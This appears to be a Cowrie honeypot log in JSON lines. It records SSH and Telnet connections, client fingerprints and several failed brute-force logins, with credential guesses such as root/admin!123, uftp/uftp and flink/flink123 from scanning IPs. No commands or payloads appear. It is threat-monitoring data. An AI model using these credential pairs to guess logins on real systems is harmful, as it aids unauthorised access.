{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:20.524582Z","src_ip":"43.153.7.148","session":"b69eb78ecdf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.44648861885071,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:24.029758Z","src_ip":"192.119.13.58","session":"dbc79d66ee92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.913878202438354,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:35.870972Z","src_ip":"192.119.13.58","session":"7879e83054a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.97624373435974,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:36.162094Z","src_ip":"192.119.13.58","session":"050f1fc67a5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60396,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0818fcad528","protocol":"telnet","message":"New connection: 192.119.13.58:60396 (10.17.0.5:23) [session: f0818fcad528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:37.128639Z"}
{"eventid":"cowrie.session.closed","duration":39.821295499801636,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:38.749403Z","src_ip":"192.119.13.58","session":"20c6be8882a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.13700866699219,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:40.356462Z","src_ip":"192.119.13.58","session":"b31f5affe49b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37070,"dst_ip":"10.17.0.5","dst_port":23,"session":"2925ad565d63","protocol":"telnet","message":"New connection: 192.119.13.58:37070 (10.17.0.5:23) [session: 2925ad565d63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:45.580373Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50234,"dst_ip":"10.17.0.5","dst_port":23,"session":"60b6bf385e12","protocol":"telnet","message":"New connection: 192.119.13.58:50234 (10.17.0.5:23) [session: 60b6bf385e12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:55.715779Z"}
{"eventid":"cowrie.session.closed","duration":42.7721164226532,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:56.768210Z","src_ip":"192.119.13.58","session":"9ce23558b0b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.7.148","src_port":52974,"dst_ip":"159.203.135.109","dst_port":22,"session":"9dcac70d8e7a","protocol":"ssh","message":"New connection: 43.153.7.148:52974 (159.203.135.109:22) [session: 9dcac70d8e7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:00.206040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:00.211268Z","src_ip":"43.153.7.148","session":"9dcac70d8e7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:00.280110Z","src_ip":"43.153.7.148","session":"9dcac70d8e7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!123","message":"login attempt [root/admin!123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:00.583601Z","src_ip":"43.153.7.148","session":"9dcac70d8e7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":41682,"dst_ip":"10.17.0.5","dst_port":22,"session":"5597e4c4e530","protocol":"ssh","message":"New connection: 103.195.236.96:41682 (10.17.0.5:22) [session: 5597e4c4e530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:00.753581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:00.784587Z","src_ip":"103.195.236.96","session":"5597e4c4e530","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:01.023903Z","src_ip":"103.195.236.96","session":"5597e4c4e530","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:01.655473Z","src_ip":"43.153.7.148","session":"9dcac70d8e7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1212121212","message":"login attempt [root/1212121212] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:01.743402Z","src_ip":"103.195.236.96","session":"5597e4c4e530","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:02.987050Z","src_ip":"103.195.236.96","session":"5597e4c4e530","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.74938225746155,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:04.232282Z","src_ip":"192.119.13.58","session":"67b236408b9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54452,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e4f03dcb272","protocol":"telnet","message":"New connection: 192.119.13.58:54452 (10.17.0.5:23) [session: 6e4f03dcb272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:11.459984Z"}
{"eventid":"cowrie.session.closed","duration":38.87087678909302,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:15.999438Z","src_ip":"192.119.13.58","session":"f0818fcad528","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":21076,"dst_ip":"159.203.135.109","dst_port":22,"session":"cce729913955","protocol":"ssh","message":"New connection: 103.24.63.85:21076 (159.203.135.109:22) [session: cce729913955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:18.899795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:18.904943Z","src_ip":"103.24.63.85","session":"cce729913955","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:19.110525Z","src_ip":"103.24.63.85","session":"cce729913955","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:19.718745Z","src_ip":"103.24.63.85","session":"cce729913955","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:20.946815Z","src_ip":"103.24.63.85","session":"cce729913955","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.08980107307434,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:23.670081Z","src_ip":"192.119.13.58","session":"2925ad565d63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.889853715896606,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:32.605620Z","src_ip":"192.119.13.58","session":"60b6bf385e12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56412,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7baf8a2f0f8","protocol":"telnet","message":"New connection: 192.119.13.58:56412 (10.17.0.5:23) [session: f7baf8a2f0f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:32.848013Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":27110,"dst_ip":"159.203.135.109","dst_port":22,"session":"590898937196","protocol":"ssh","message":"New connection: 103.24.63.85:27110 (159.203.135.109:22) [session: 590898937196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:35.750234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:35.755759Z","src_ip":"103.24.63.85","session":"590898937196","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:36.055532Z","src_ip":"103.24.63.85","session":"590898937196","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flink","password":"flink123","message":"login attempt [flink/flink123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:37.142454Z","src_ip":"103.24.63.85","session":"590898937196","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:38.501934Z","src_ip":"103.24.63.85","session":"590898937196","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40854,"dst_ip":"10.17.0.5","dst_port":23,"session":"baeb14a65dd0","protocol":"telnet","message":"New connection: 192.119.13.58:40854 (10.17.0.5:23) [session: baeb14a65dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:43.194703Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.7.148","src_port":56560,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a86970d378b","protocol":"ssh","message":"New connection: 43.153.7.148:56560 (159.203.135.109:22) [session: 1a86970d378b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:44.474473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:44.479985Z","src_ip":"43.153.7.148","session":"1a86970d378b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:44.549192Z","src_ip":"43.153.7.148","session":"1a86970d378b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arkserver123","message":"login attempt [root/arkserver123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:44.863354Z","src_ip":"43.153.7.148","session":"1a86970d378b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:45.939492Z","src_ip":"43.153.7.148","session":"1a86970d378b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":50776,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c2c6b1c115e","protocol":"ssh","message":"New connection: 89.108.118.91:50776 (159.203.135.109:22) [session: 4c2c6b1c115e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:52.497225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:52.502203Z","src_ip":"89.108.118.91","session":"4c2c6b1c115e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:52.650897Z","src_ip":"89.108.118.91","session":"4c2c6b1c115e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"france","message":"login attempt [root/france] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:53.107404Z","src_ip":"89.108.118.91","session":"4c2c6b1c115e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:54.257760Z","src_ip":"89.108.118.91","session":"4c2c6b1c115e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38946,"dst_ip":"10.17.0.5","dst_port":23,"session":"a88745e9000a","protocol":"telnet","message":"New connection: 192.119.13.58:38946 (10.17.0.5:23) [session: a88745e9000a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:39:59.391030Z"}
{"eventid":"cowrie.session.closed","duration":49.24852204322815,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:00.708405Z","src_ip":"192.119.13.58","session":"6e4f03dcb272","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45254,"dst_ip":"10.17.0.5","dst_port":23,"session":"22ec255daf50","protocol":"telnet","message":"New connection: 192.119.13.58:45254 (10.17.0.5:23) [session: 22ec255daf50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:01.133267Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":35438,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb7382e9e09b","protocol":"ssh","message":"New connection: 103.75.182.198:35438 (159.203.135.109:22) [session: eb7382e9e09b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:06.493783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:06.504846Z","src_ip":"103.75.182.198","session":"eb7382e9e09b","protocol":"ssh"}
